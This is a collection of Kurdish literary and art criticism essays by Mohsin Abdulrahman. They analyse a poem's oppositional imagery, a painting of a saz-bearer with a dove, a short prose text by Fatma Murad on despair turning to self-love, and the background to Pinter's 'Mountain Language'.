محسن عەبدلڕەحمان

2 – 2

و هێمایێ خیانەت و هەلپەرستیێنە، لێ هەلبەستڤانی وەکو دلدارێن خۆشتڤی دیارکرینە، دا هەڤبەربکەت د ڤێککەفتنەکا دژوار و شۆکداردا – صادمە – د ناڤبەرا تێگەهێن /جانگۆری و هەلپەرستی/ ژ / سیخۆر و پاتەخۆر/ ی، نە د سالۆخەت و رەوشتێ وان، بەلکو د چاوانییا سەرەدەرییا جڤاکی دگەل واندا، کو تێکچوونا بهایان و داکەفتنا رەوشتییە، کو هەلبەستڤان ب(پێ میزێ/ بوهژن) رسوادکەت.
دوانییا (پێ میزێ/ روومەت) ئانکو هەڕمین و پاراستن، هەڤۆکا (چەند جاران پێ میزێ دکەن) ئەڤ دژوارە پڕسیارا راستەوخۆ دەربڕینەک تالە لدۆر هەڕماندنا روومەتێ، میزتن کۆپیتکا سڤکاتیپێکرنێیە.
دوانییا داویێ: (کۆمێن رەنگان / بوهژن) ئانکو فرەرەنگی و حەلیان، رەنگ هێمایێ ژیان و خۆشیێیە، لێ (قەرەبالغ)ێ بوهژاندن چێکر، ئانکو ژدەستدانا ناسنامەیێ، لڤێرە ل شوینا رەنگ ژێدەرێ جوانیێ بن، بووینە ئەگەرێ بوهژینێ.
دوانییا جانگۆری/ هەلپەرست وەکو دیار:
جانگۆری: (دەما دەنگێ شەهیدی ژ هناڤێن ئاخێ دهێت) دەستپێکا هەلبەستێیە و جانگۆری هێمایێ شکۆمەندێ ل جهەکێ نامۆیە، دەنگێ وی نە بلندیێ بەلکو ژ کووراتییا ئاخێ دهێت، ئاماژەیە بۆ بنئاخکرن و بێدەستهەلاتیێ و دبیت قیژییەکا بێدەنگ بیت یان گازندە و پاشڤەبرن بیت، چ نیشانێن رێزلێنانێ بۆ جانگۆری تێدا نینن، بەلکو ناڤـێ وی د هەڤگرێکا سەردەمێ داکەفتنێدا هاتییە و قوربانییا جانگۆری مینا (سەوکا ب ئاڤێدا چوویە)! چنکو ئەو هێزەکا پالدەر نینە بۆ پاشەرۆژی، بەلکو قیژی و گازییەکە ژ رابۆریێ بنئاخکری، هەلبەستڤانی ب زیرەکی جانگۆریێ هێمایێ خۆگۆریکرنێ، کرییە نیشان بۆ راددەیا داکەفتنا باژێری بۆ نزمبووی.
هەلپەرست: (سیخۆر و پاتەخۆر) وەکو دیار هێزێن حەزکری و بکارهێنەرن، (دەما ژ بەندەمانا رامانێ ئەم عاشق دبووین، سیخۆر و پاتەخۆر د لیسبوونا مەدا) ئەڤ هەڤۆکە یا هەرە شۆکدارە د هەلبەستێدا، (عاشق دبووین) هێمایێ ڤیانا زێدەیە و ئەو بۆ سیخۆر و پاتەخۆران کو هێمایێ خیانەتێنە ڤەگەڕاندییە، ئەڤ دلدارییە بۆ بهایێن رەوشتی هەڤدژییەک سۆروسۆرە و (د لیسبوونا مەدا) رەهەندەکا گیانەوەرییە، لیس جهێ مریشکان و کورکبوونا وانە، ئاماژەیە بۆ ژینگەها پیسی و خلتۆیێ. لیس یان کۆتان پترە ژ جهەکی، ئەو بیاڤەک هێمایێ بەرتەنگ و هەڕماندییە، کو تێدا بهایێن مرۆڤینی دهێنە نزمکرن و ئێخستن بۆ ئاستێ گیانەوەری.
(هوین چەند جاران پێ میزێ دکەن) ئەڤ پڕسیارا شەرمزراکەر راستەوخۆ یا ئاراسەکرییە (هوین) یێن داگیرکەر و هەلپەرست ژ سیخۆر و پاتەخۆ، پشتەڤان و چەپلەلێدەرێن وان.. چنکو کریارا (پێ میزێ) هێمایێ داوی پلەیا سڤکاتیپێکرن و بێروومەتکرنێ و هەڕماندنا پیرۆزییانە(3).
دوانیا هەڤدژی پێکهاتەکێ زمانەڤانییە کو دەروونناسی و ئالۆزییا هوندری هەلبەستڤانی وەردگێریت، ئەڤ پێکهاتە د گۆتن و رامانێدا یەکتربڕن، بکارئینانا دوانیا هەڤدژی د هۆزانا هەڤچەرخدا بەلاڤبوویە یا کو بوویە ژ سالۆخەتێن بەرچاڤ، ئەو جۆتەک دژبەرن وەکو درێژ و کورت، یان دو رامان وەکو شادی و خەم، دوانیا هەڤدژی د کەڤندا بناڤێن جودا وەک بەرامبەری (التقابل)، دژبەری (التچاد)، هاتییە نیاسین، یان هەڤدژی د گۆتن و رامانێدا وەکو: رەش وسپی، رۆناهی و تاری..، د نڤێسینێدا چەند ناکۆکی پتربیت، هند هەلبەست خۆرتردبیت.
نیڤشک: هەلبەست ب پەیڤێن خۆیێن دژوار و وێنەیێن شۆکدار هەلوەشیانا بها و تێگەهێن نەریتییە ژ (شەهیدبوون، باژێرینی، رەملداری، ڤیان..) ئەوێن دهێنە شێواندن و بەرۆڤاژیکرن، لڤێرە رامان نەیا جیگیرە ئەو د ناڤبەرا هیڤی و بێئۆمێدیێ، پیرۆزی و هەڕمینێ، ئازادی و بەندکرنێ دلڤیت، هەلبەست ڤەخواندنە بۆ هزرکرنێ د چاوانەییا گوهۆڕینا تێگەهێن بلند بۆ هەڤدژێن وان. «د دوانییا هەڤدژدا وەرگر دشێت نهێنی و رەهەندێن هەلبەستێ ڤەببینیت، کو تێدا بینینا هۆزانڤانی یا فەلسەفی و داهینەرانە بەرچاڤدبیت و ئاسۆیێن جودا ل پێش وەرگری ڤەدبن(4)».
ئاڤرویەک رەخنەیی:
زێدەبارێ هێزا جوانناسییا لێکدانێ و رەوانبێژییا دەربڕینی لێ هەلبەست ژ هندەک سستیێ یا ڤالا نینە، وەکو (دەنگێ شەهیدی ژ هناڤێن ئاخێ) سەرباری کو ئەڤ وێنە هێمایە بو خۆگۆریکرنێ، لێ هند یا راستەوخۆیە کو گەشاتی و هەلاتگەرییا وێ کزبوویە، چنکو /دەنگێ جانگۆری/ هێمایێ دەنگڤەدانا قوربانیدانییە، ب ڤێ دەربڕینێ هۆزانڤانی رێکا بساناهیتر بۆ سالۆخدانا هزرەک کوور کرتییە. (بزککەفتنا باژێرێ مە) بزککەفتن ب رامانا ئاڤزبوون، سەرباری کو هایدانی ب بوونەک نوی ددەت، لی د هەڤگرێکا دەنگێ جانگۆریدا هەڤدژییەکا ئاماژەیی ددەت، ئەوژی دەمێ خوە دکێت و ڤەدکێت و سیخۆر و پاتەخۆر تێدا لیسدبن.
* ناڤونیشانێ پارچە شعرەكێ یە ژ زنجیرەیەكا شعرێ یا ژێر ناڤونیشانێ (پارڤەبوونا كەڤالان) د دیوانا (ژیلەمۆیا كەڤالەكێ بژیای) یا كو ئێكەتیا نڤیسەرێن كورد/ تایێ دهۆكێ ل سالا 2014 وەشاندی.

ژێدەر:
(1) رەخنەگرێ فرەنسی (جیرار جنیت) ژ پەرتووکا «معمار النص» .
(2) لسان العرب (3/ 238- 243.
(3) https://ar.islamway.net/article
(4) رضاپور محیسنی رچا . مهتدی حسین . زارع ناصر ، الثنائی الضدیات فی مجموعە «قصائد أولی» ڵادونیس2023-06-25، https://asjp.cerist.dz/en/article/227646
(5) سعدون محمد، الثنائیات الضدیە فی شعر السیاب، مجلە علوم اللغە العربیە وا‌دابها، 2021-03-15. https://asjp.cerist.dz/en/article/146968

محسن عەبدولڕەحمان

کەڤال: کەسەکێ ساز هەلگرتی وێنەدکەت، ل سەر سازێ کوترەک سپییە، پاشخانە ناوازەیە ب هێمایێن رەنگێن تێکهەلکێشای، کو زەر و پرتەقالیێ گەرم ل سەر دزالن، ئەوێن راست و چەپ بەرب خولیکی دچن.
هێماگەرییا کەڤالی:
کەساتی گەنجەکێ ب جلکێن کوردی ئامیرێ سازێ ب رێزلێنانا قوربانێ بلند راگرتییە، کو ئامیرێن مۆزیکێ د کولتۆر و رەوشەنبیری و چیرۆکاندا هێمایێ دەربڕینێ ژ هەستانە، لەو دبیت بلندکرنا سازێ ئاماژەبیت بو ئۆمێد و گەڕیان ل ئەڤراز و بلندبوونێ.
کوترا سپی:
کوتر هێمایێ جیهانیییە بو ئاشتی و پاکی و ئازادیێ، جهێ وێ ل سەر ئامیرێ مۆزیکێ هایدانێ ب پەیوەندییا د ناڤبەرا مۆزیک – کولتۆرییە، ئەڤ سالۆخە دبیت بەرێخودانا هیڤیێیە، ئاڤریا ئەڤراز بەرب سازا بلندکری تەماشەکرنە ل کوترێ و ئاسمانی، دبیت ئاماژەبیت بو هیڤییەکێ یان پەیوەندییەک گیانی،کەڤال هەمی هەلگرا پەیامەکا هیڤی و ئاشتیێ یە، دبیت دەربڕینێ ژ هۆنەری نیشانددەت و د بەرتەنگیاندا و پەیوەندیێ ب سالۆخەتێن بلندڤە هەبیت، ئەڤە بیروکەیا بەرخۆدان و سەرکەفتنێ بهێزدئیخیت.
رەنگ:
نیگارکێشی رەنگێن زیندی و ژیندار و دەربڕینکەر بکارئیناینە، پلەیێن رەنگێن گەرم ژ زەر و سۆر و پرتەقالی لدور سەری هەست ب وزە و سۆز و رەوشەنگەریێ ددەن، دیسان سارە رەنگێن خولیکی و دویکێلی لدور ناتەبایەکێ بالکێش دبەخشیت و کووراتییەکێ لێ زێدەدکەت، کارلێکیا ڤان رەنگان ژ لایێ جوانکاری و سۆزداریێڤە یا دلخۆشکەرە،
هێماگەرییا رەنگان:
«رەنگ هێمایەک بەرنیاس و دەربڕینکەرە لدەف هۆنەرمەندی کو ددانیتە جهی گۆنجایێ کەڤالی»(1).
هەبوونا رەنگێ گەرم ژ زەر و پرتەقالی کو دگەرمن و پڕی ژیان و پەرۆشی و هیڤینە، هەبوونا وان ل دۆر گەنجی هایدانێ ب هێزا گیانی و گوڕییەک ناڤخۆ و دبیت گەشاتییا پاشورۆژی ددەت، دیسان دبیت ئاماژەبیت بو ئەلند و هەلاتنێ یان دەستپێکەک نوی و گەش، خولیکیێ ل رەخان پتر ئاماژەیە بو بەرتەنگی و بەرەللایێ، کو دیمەنێ دویکێلی هایدانی ب ژینگەهەکا پری شلەژانی و ململانێیە، دبیت ژی ئاماژەبیت بو دەمێن سەرکۆرتکرن و چەوساندنێ،جوداهییا د ناڤبەرا رەنگێن رەنگز و رەنگێن تۆخ و تاریدا کوپیتکا هێماگەریییە، ئەڤ جوداهییە ڤەگێڕانەکا بینرایە بۆ رۆناهیی د ناڤ تاریاتیێدا، یان ڤەگۆهاستنە ژ رەنگین ئاگرین بو رەنگێن دویکێلی و هێمایە بو گوهۆرینێ ژ ململانەکێ بو دەربازبوونی ژ ئاستەنگێ ب شکاندنا بازنا ترسێ.
کەڤال ب گشتی دەربڕینە ژ هێزا هۆنەری وەکو پرەک بو ئاشتیێ د دەمین ململانی و ناکوکیاندا، ئەو کارەکێ هۆنەریێ بهێز و دەربڕینکەرە، تێکەلەکە ژ رەنگ و هێما بو گەهاندنا پەیامەک کوور بکارئیناینە.
ساز:
هێمایێ کولتۆر و رەوشەنبیری و ناسنامەیێیە، بلندکرنا وێ دەربڕینە ژ هێز و ب خۆشانازی و پەرۆشی و بلندیێ، ئاڤریا گەنجی بو ئەڤراز و سەنتا کوترێ ئاماژەنە بو بەرب پاشەرۆەک باش و گەشتر، گەنج ل نیڤا کەڤالی یا بالکێشە و بلندکرنا سازێ هێلەکا بهێزا راکیشای بەرەف ئەفراز دروستکرییە، کو ئاڤریا بینەری بۆ دیارکرنا گرنگییا وێ رۆناهییا لپشت سەری ئاراستەدکەت، کو مەهوەشەک ژ زەرێ زێرینێ سالۆخەتا میترای ل کوردستانی و ئەپۆلۆ ل گریکستانێ پێکئینایە(2).
دەربڕین:
سەرباری نەدیاربوونا هووریێن دێمی گەنجی، لێ شێوە هایدانێ ب هەستەکێ کوور ژ تێهزرینێ و دلینیێ ددەت.
هێماگەری:
کەساتی ب جلک و جەمەدانیا نەریتی یا کوردی وەک ئاماژەکرن بو ناسنامەیا کولتۆرییە، ئامیرێ ژەندار – وتری – کو ئامیرەکێ کوردیێ بەربەلاڤە، لێ شێوەیێ بلندکرنا وێ وەکو چەکی یان ئالایە کو هەلگرا هێماگەرییەکا هەرەمەزنە، هەکە مەبەست پێ تنێ مۆزیک بیت وەکو هۆنەر، ئەو نیشانا داهێنان و دەربڕینێیە ژ کولتۆرێ رەوشەنبیری و، بەسی کوردانە شانازی کو تا نها پشکێن ئامیرێ سازێ و ناڤێن مقامان ب زمانێ کوردینە، ئەڤ قەنجییە ڤەدگەڕیت بۆ داهێنەرێ بلیمەت زریابی(3).
ئەڤ رەنگێ بلندکرنا سازێ ئاماژەکرنە بو هێزا مۆزیکێ و هۆنەری وەکو شێوەیەکێ نەرازیبوونێ یان دەنگێ بێدەنگان یان ئاگەهدارکرن ب ناسنامەیێ.
پەیام:
نەهەڤسەنگییا وەکهەڤ و کارتێکرنا دلینی د بەلاڤکرنا رەنگێن گەرم و ساردا رەنگڤەدانا رەوشا دەروونی و جڤاکی یا ئالۆزە، هندی ئاراستە و سەنتا گەنجی و سازێ و کوترێ بەرب ئەڤرازییە، ئەو هێلێن بینڕایێن بهێز د ئافرینیت، هەڤسەنگی یا کێمە چونکۆ رۆناهی و گەنج ل ئێک جهن، ئەڤە بینینێ راستەوخۆ بەرب ناڤەندێ رادکێشیت.
تێبینی:
سەرباری شاکارییا کەڤالی لی هەر ژ تێبینییا بیبەهر نینە، دەمێ هێماگەری یا بهێز د هەمان دەمدا خاڤیێ د دیمەنیدا دبینین، ئەوژی بینەرێ نەئاگەهدارێ هەڤگرێکا رەوشەنبیری و مێژووییا گرێدای بابەتێ کەڤالی/ ناسنامە و دۆز و کولتۆرێ کوردی/ کو بزەحمەتە د پەیام و ئارمانجێ تێبگەهیت! دیسان گەنج و ئاڤڕیا وی یا دیارە، لێ ئەگەر هووریێن دێمی پتربانە، دا چێتر کەساتییا وی د دیمەنیدا رۆهن و کارلێکەرکەت.

ژێدەر:
(1) تجلیات الرمز لاعمال رواد الرسم العراقی المعاصر،أ.م.د.
لقمان وهاب حبیب المظفر، جامعه‌ الكوفه‌/ كلیه‌ التربیه‌ الاساس/ قسم ریاض الاطفال، ێژار 2021، ص307.
(2) كلود عبید، الاألوان (دورها، تصنبفها، مصادرها، رمزبتها، ودلالاتها) مراجعه‌ وتتقدیم: الدكتور محمد حمود، طریق المعرفه‌، 3013 بپ109.
(3) محسن عەبدلڕەحمان، زریاب.. لێگەڕیان ل ناسنامەیێ د هەڤگرێکا ماراندا، لژێر چاپێیە.

محسن عەبدولڕەحمان

دەق: فاتما موراد*
ڤەگوهاستن ژ تیپێن لاتینی و رەخنە:

باوه‌ربكن ئەو شه‌ڤا هه‌ری گران و ب ئێشبوو، كو د سه‌ر من ره‌ ده‌رباسبوو، ئەو شه‌ڤا كو ئەز تێده‌ ته‌نێ ل تشته‌كی تووژ دگه‌ریام دا كو پێ ره‌هێن ملێ خوه‌ قوتبكم و ده‌ستێ خوه‌ باڤێژم جهه‌كی دوور، لێ ره‌هێن من نه‌دخوه‌ستن كو خوه‌ ژ ملێ من به‌ردن، وه‌كی كو ژ منره‌ دبێژن خه‌زه‌ب به‌رخوه‌بده، بلا هێڤیا ته‌ خورتبه‌.
ئەز خه‌زه‌بم، لێ رۆژه‌كێ ژی بێهنا من ته‌نگنه‌بوویه‌ و ئەز بێزار نه‌بوومه، ئەز گه‌له‌كی ژ خوه‌ حه‌زدكم، نایێ بیرا من كو ئەز رۆژه‌كێ ئاجزبوومه‌، هه‌ر ده‌ڤلكه‌ن و كێفخوه‌شم. (گۆڤارا شارمولا- 25 – زڤستانا 2025، بپ57)

«جوانییا دەقی خۆشە نقومبوونا تێدایە»
ژبەر چەند هۆکارەکان ئەڤی دەقی جوانناسییەک کاریگەر هەیە:
ب خواندن و شیکارکرنەکا دیاربوونگەری – ڤاهریە -بو ئەڤێ کن چیرۆکێ کو ژ دوو پارچان پێکدهێت، ئەڤ دیتن و بۆچوونە بەرچاڤدبن:
* جوداهییا روودانێ و کویرییا دلینیێ:
د ناڤبەرا ڤان هەردو رەوشێن نڤێسەرێ پێشبەری مە کرین، دێ بزاڤێ کەم ناڤڕا سڤک بازدەم، رەگەزێ جوانناسیێ د ناڤبەرا بێهیڤیبوونا لدەستپێکی و خۆراگرییا لدووماهیێ دیار و بەرچاڤدبیت، دەستپێک ئازارەکا دەروونییا کوورە کو پالدەرە بۆ بزاڤا خۆ ژناڤبرنێ» ئەو شه‌ڤا هه‌ری گران و ب ئێش بوو كو د سه‌ر من ره‌ ده‌رباسبوو، ئەو شه‌ڤا كو ئەز تێ ده‌ ته‌نێ ل تشته‌كی تووژ دگه‌ریام دا كو پێ ره‌هێن ملێ خوه‌ قوت بكم و ده‌ستێ خوه‌ باڤێژم جهه‌كی دوور» ئەڤ وێنەکرنا بڕیاردانا بهێز و ڤەبڕ بۆ رەوشا دەروونییا شەڤەک دژوار یا هەست ب کوورە ئێشانێ پەیدادکەت، دەما دگەل بێهیڤیبوونا رەش سینالۆکەکا هیڤیێ د دەماراندا بەرهنگاردبیت» لێ ره‌هێن من نه‌دخوه‌ستن كو خوه‌ ژ ملێ من به‌ردن, وه‌كی كو «ژ من ره‌ دبێژن خه‌زه‌ب به‌ر خوه‌ بده، بلا هێڤیا ته‌ خورت به‌« ئەڤ بەرهنگارییا داماران دەنگێ هش و هێزێیە، رەهەندەکا سوفیبوونێ ل هەڤڕکیێ زێدەدکەت، دا برگەیا دوویێ دەقی سەروبنبکەت و کەساتییا خەزەب یا ب ڤیان و ژینداریێ داگرتی دیاربکەت» خه‌زه‌بم، لێ رۆژه‌كێ ژی بێهنا من ته‌نگ نه‌بوویه‌ و ئەز بێزار نه‌بوومه، ئەز گه‌له‌كی ژ خوه‌ حه‌ز دكم. نایێ بیرا من كو ئەز رۆژه‌كێ ئاجز بوومه‌، هه‌ر ده‌ڤلكه‌ن و كێفخوه‌شم» ئەڤە(خەزەب)ە پارادوکسەکا بالکێش لجەم خواندەڤانی چێدکەت، ئەو یا دەڤبکەنی و كێفخوه‌ش و حەزژخۆکەرە، ئەڤ گوهۆڕینا نەچاڤەرێ چێکەرا ئالۆزی و پەرۆشیێیە، منێ خواندەڤان پالددەت خواندنەک ئارام و هویر و ل سەرخۆتر، و لێزفرینێ د خواندنا ئێکێدا لدۆر سروشتێ کەسیێ «خەزەب»ێ
* وێنە و خوازە: وێنەیێن بالکێش و کاریگەرێن دەقی خواندەڤانێ رادکێشن:
«تشته‌كی تووژ» و «ره‌هێن ملێ خوه‌ قوت بكم» ئەو دەربڕینێ ژ راددەیا کوورییا بێهیڤیبوونێ دکەن، لێ رەتکرنا دەماران «لێ ره‌هێن من نه‌دخوه‌ستن كو خوه‌ ژ ملێ من به‌ردن» خوازەیەک بهێزا حەزا زکماکییە بۆ ژیانێ.
هەلبژاردنا ناڤێ (خەزەب) ب خۆ بۆ کەساتییا کن چیڕۆکێ خوازەیەک بهێزە، ئاماژەدکەت کو هەستێن مرۆڤینی و هایدانێ ددەن، کو هەنبەر ئێشانا دژوار و بێهیڤیبوونا دابڕ، ل قولاچەک ڤەدەر هێزەکە نەپەنە، بریسکەکا هەلاتگەریێ هەیە
* زمانێ سۆزداری: دەق ب زمانەکێ پەخشانکیێ سادە داڕژتییە:
«ئەو شه‌ڤا هه‌ری گران و ب ئێش» و « ره‌هێن ملێ خوه‌ قوت بكم» هەلگرێن دەنگڤەدانەک دلینینە! بازدان د ناڤبەرا دوهییەک بێئۆمێد و ئەڤرۆیەک ڤەبڕدا پرەک راکێش دارژتییە، ئەڤە هەستێ رژدبوون و خۆ سەپاندنێ د ڤان دەستواژەیێن کورتدا «ئەز خه‌زه‌بم» و «ره‌هێن ملێ خوه‌ قوت بكم» بهێزدئێخیت.
* ئاماژەیێن فەلسەفی:
دەق ب شارەزایی و نەرمی ئاماژەدکەت بابەتێن فەلسەفی ژ سروشتێ ئازارکێشانێ و خۆ قەبوولکرنێ یان دگەل خۆ ئاشتبوونێ، کو د گاڤێن ژانداریێ دشیاندایە هێزەک ژیندار و هەلاتگەر د ناخێ مرۆڤیدا ل شوینا هێزەک وێرانکر، ببیتە ژێدەرێ ڤیانا خۆیەتی و کەیفخۆشیێ و تێگەهێ خەزەب – کەرب – ژ هێزا نەرێ بۆ هێزەکا پالدەر بۆ موکۆڕییا ئەرێ بهێتە گوهارتن. جوانییا دەقی دەربازبوونە ژ بێهیڤیبوون و ئێشانەک کویر بۆ ڤیان و حەز ژ خۆکرنەکا ژ نشکاڤە د هەڤدژیێن ئاشکرادا، کاکلا دەقی دیدەڤانییە ل سەر هێزدارییا هیڤیێ و سروشتێ ئالۆزێ گیانی مرۆڤی. دەق دەربڕینەک هونەرییە ژ دژوارییا ئارێشەیێن مرۆڤ د ژیواریدا توش دبیتێ، ئانکو ئەم لپێش دو ژیوارانین، ژیوارێ بینڕای و ئێکێ نەبینڕای، ئێکی راستەقینە و ئێکی ڤەگێڕای.
* راڤەکرن:
دەق بزاڤەکە بۆ دەربڕینێ ژ ململانەک ناڤخۆیی یا کوور د ناڤبەرا بهیڤیبوونەک دژوار و حەزا بدووماهیئینانا ئێشانێ، هێزا ڤیانێ و ڤیانا خۆیەتی، لێ دەق یێ بێی خالێن لاواز و کێماسی نینە یێن دەما خواندنەک کوور دهێنە تێبینیکرن، وەکو:
* هەڤدژی:
برگا دەستپێکی دبێژیت (باوه‌ربكن ئەو شه‌ڤا هه‌ری گران و ب ئێشبوو، كو د سه‌ر من ره‌ ده‌رباسبوو، ئەو شه‌ڤا كو ئەز تێده‌ ته‌نێ ل تشته‌كی تووژ دگه‌ریام دا كو پێ ره‌هێن ملێ خوه‌ قوتبكم و ده‌ستێ خوه‌ باڤێژم جهه‌كی دوور) هەڤدژیەک سۆروسۆرە دگەل برگا داویێ (ئەز خه‌زه‌بم، لێ رۆژه‌كێ ژی بێهنا من ته‌نگنه‌بوویه‌ و ئەز بێزار نه‌بوومه، ئەز گه‌له‌كی ژ خوه‌ حه‌زدكم، نایێ بیرا من كو ئەز رۆژه‌كێ ئاجزبوومه‌، هه‌ر ده‌ڤلكه‌ن و كێفخوه‌شم)، ئەڤ هەڤدژییە دیاردکەت کو دەق پیکڤەگرێدای نینە و ب راستگۆ دیارنابیت، چنکو تێدا گوهۆڕین ب راستگۆ دیارنابیت، چنکو تێدا گوهۆڕین یا ژنشکاڤە و بێبەهانەیە.
هەڤۆکا (ئەز خه‌زه‌بم، لێ رۆژه‌كێ ژی بێهنا من ته‌نگنه‌بوویه‌ و ئەز بێزار نه‌بوومه) هەلگرا هەڤدژییەکا ناڤخۆییە، چنکو کەرب پتری گرێدای هەستێن نەرێ و بێئۆمێدی و تێکدەرە، ڤێچا چاوا کەربە و چجار بێهنتەنگ و بێزار نەبوویە؟ هەڤۆکا (نایێ بیرا من كو ئەز رۆژه‌كێ ئاجزبوومه‌) راستەوخۆ یا هەڤدژە دگەل (ئەز خه‌زه‌بم)، ئەڤە باوەرییا وەرگری لاوازدکەت.
*ئالۆزی و نەرۆهنی:
دەق ژ ناڤەرۆک و هەڤگرێکێ – سیاق – ێبارە، چنکو ئەگەرێ ڤێ شەڤا ب ئێش و ژێدەرێ ئێشێ یێ نڤێسەر پالدایە هزرا دەست بڕینێ دیارنینە؟ ئەڤە تێگەهشتن و کارلێکیا وەرگری دگەل دەقی سنوورداردکەت، راستە ئەو دەربڕینەک خوازەییە ژ حەزا قورتالبوونێیە ژ ئەندامەکێ خۆ یان هاڤێتن و لادان سەربۆڕەکێیە.
راستەوخۆییەکا راپۆرتی: دەق ژ وێنەیێن هۆنەری یێ بێبارە، کو د شیاندایە سەربۆر بۆ وەرگری یا هەستەوەریربیت، کو دەربڕین ژ ئێش و حەزا خۆکوشتنێ بشێوەیەکێ راپۆرتی دارشتییە و ئەڤە کارتێکرنا وێژەیی کێم و لاوازدکەت،
هەڤۆکا(لێ ره‌هێن من نه‌دخوه‌ستن كو خوه‌ ژ ملێ من به‌ردن) سادەی و کەهیکرنە، وەکو پێدڤی خزمەتا رامانێ ناکەت.
دەق ڤەگێڕانەکا خۆیەتییا تیرکرییە، نڤێسەر تێدا رەوشەکا دەروونییا نەجێگیر پیشانبدەت، دبیت (دەستێ ژێکری) هێمایێ حەزا قورتالبوونێ بیت، لێ د هەڤۆکا(ره‌هێن من نه‌دخوه‌ستن كو خوه‌ ژ ملێ من به‌ردن) کو رهـ و دەمار رێرەوێن ژیانێنە، رەهەندەک هێماگەری ل ململانا ناڤخۆیی زیدەدکەت، د گەل هندێ دمینیت راستەوخۆ و پلەداری د رامان و زمانیدا ناهێتە دیتن، کو هزرێ بئازرینیت و بیاڤەکی بۆ راڤەکرن و تێهزرینێ بهێلیت، ئەو ڤەگۆهاستنا ژ نشکانڤەیە ژ بێزارییەک رها بۆ شادبوونەک رها، ل شوینا هەست گەشە و وەرارێ بکەن و ئالۆزببن و گاڤ ب گاڤ گوهۆڕین چێببان و بەهانە بۆ هاتبانەدان، دا دەق بۆ وەرگری ب پێباوەرتر بیت، ئەڤە ئێکبوون و پێکڤەگرێدانا ژ لاتێ وێژەییڤە دەقی لاوازدکەت.
*هەڤرەنگی و هەڤدەردییا دەروونی:
دەق لدور کەسەکییە د ململانەک ناڤخۆیی دایە، ژانا دژوارا دگەهیتە راددەیا خۆکوشتنێ و هێزەکا پالدەرا ناڤخۆیی بۆ بەرگری و خۆراگرتنێ، برگا ئێکێ ژانەک دەروونییا دژوارا ل کۆپیتکێ، کو چێکەرا هزرا خۆکوشتنێیە، د برگا دوویێدا میکانیزمەکا بەرەڤانییا دەروونییا بهێز، کو گوهۆڕینا ژ نشکانڤە رەنگڤەدانا ماندەلکرنا ئێشانا پێشوەختە (ئەز خه‌زه‌بم، لێ رۆژه‌كێ ژی بێهنا من ته‌نگنه‌بوویه‌ و ئەز بێزار نه‌بوومه، ئەز گه‌له‌كی ژ خوه‌ حه‌زدكم، نایێ بیرا من كو ئەز رۆژه‌كێ ئاجزبوومه‌، هه‌ر ده‌ڤلكه‌ن و كێفخوه‌شم) بابەتێ خواندنێ ل ئاستێن دەروونیێن جودایە وەکو: ماندەلکرنا ئێشانا بۆری، دبیت ده‌ڤلكه‌ن و كێفخوه‌شی قەرەبوکرن بیت بۆ هەستێن کەربێ، دیسان دبیت هەڤۆکا(به‌رخوه‌بده، بلا هێڤیا ته‌ خورتبه‌) دەربڕینە راستەقینەبیت ژ دەربازکرنا نڤێسەرێ ژ قەیرانێ و پەیامەک ناڤخۆیە کو پشکەک ژ خۆیەتیێ ب رادەستبوونێ قایلنابیت.
ململانا ناسنامەیێ: هەڤدژییا (ئەز خه‌زه‌بم) و (بیرا من كو ئەز رۆژه‌كێ ئاجزبوومه‌) ئاماژەیا ململانەکێ د خۆتێگەهشتن و بزاڤەکا ئاشتبوونەڤە و لهەڤکرنێ د ناڤبەرا هەستێن هەڤدژدا، دەق بزاڤەکە بۆ دەربڕینێ ژ سەربۆرەک دەروونییا ئالۆزە د ناڤبەرا لاوازی و هێزی، هیڤیبوون و نائۆمێدیێ، لێ لداویێ سەرکەفتن بۆ هیڤیبوونێیە.
*داوی:
خواندنا خواندەڤانەک ئاسایی بۆ دەقی دبیتە سەربۆرەک مرۆڤینی، لێ ل بەرچاڤوەرگرتنا ژینگەهـ، دەم، کاودانێن نڤێسەرێ بۆ منێ کورد هەڤکێشێ سەرۆبندکەت، نڤێسەر کچەک کوردە سالا 2000ێ ل باژێرێ حەسەکێ ل ژێر گرانە فشارا سۆلا ئەرەبکرنێ بوویە، ل ژیێ یازدە سالیێ سەرهلدان و شۆرەشا رۆژئاڤایێ کوردستانێ دیتییە، لڤێرە سەمتا دەقی ژ بابەتەک مرۆڤینی د شیاندایە ب رەوشا دەروونییا مللەتێ کوردڤە بهێتە ئاراستە و شرۆڤەکرن، کورد ب گشتی و بتایبەت ل رۆژئاڤایێ کوردستانێ تاکو ژ ناسنامەیێ یێ زڕبەهربوو، ژ وێ بێئۆمێدیێ د ماوەیەکێ پیڤەریدا ئەوێن شکەستی مەزنترین هێزا تاریستانێ بەزاند، ئەوێن ل قولاچەک تاری دژبیرکری بوونە سەردێرێن راگەهاندنا جیهانی و دەستپێکا گرنگترین نۆچەیان، ئەوێن بێ ناسنامە ل کۆجکا سپی و ئەلیزێ ب فەرمی هاتنە پێشوازیکرن، ئەوێن بێدەنگ ل سەکۆیێن کۆڕبەندێن نێڤدەولەتی ب زمانێ ئەجنەکرییان پەیڤین! ئەرێ هەڤدژی ژ ڤێ مەزنتر و بەرچاڤتر هەیە؟
* فاتما موراد: سالا2000 ل حەسەکێ – رۆژئاڤایێ کوردستانی بوویە، دەرچوویا پەیمانگەها ئامادەکرنا مامۆستایانە، رۆمانەک چاپکری ب ناڤێ“Xwe li ser kirin” هەیە

محسن عەبدلڕەحمان

پشتی سێ‌ سالان ژ گه‌شتا خۆ ئه‌وا دگه‌ل هه‌ڤالێ‌ خۆ ئارسه‌ر میله‌ری ل سالا 1985ێ‌ بۆ تركی كری، ئه‌و گه‌شتا ب پشته‌ڤانییا رێكخراوا لێبۆرینا نێڤده‌وله‌تی و راسپاردن ژ كۆمه‌له‌یا جیهانی PEN كو كۆمه‌له‌یه‌كا جیهانییه‌، گرنگیێ‌ ب كاروبارێن هۆزانڤان ونڤێسه‌ر و شانۆڤان و رۆماننڤێسیان و ره‌خنه‌گران و رۆژمانه‌ڤانان دده‌ت، ژبۆ پشتراستبوونێ‌ ژ خرابه‌ ره‌وشا نڤێسه‌رێن ل تركی ژێ‌ دنالن، بنته‌ری ئه‌ڤ شانۆیه‌ بناڤێ (زمانێ‌ چیایی) نڤێسیبوو.
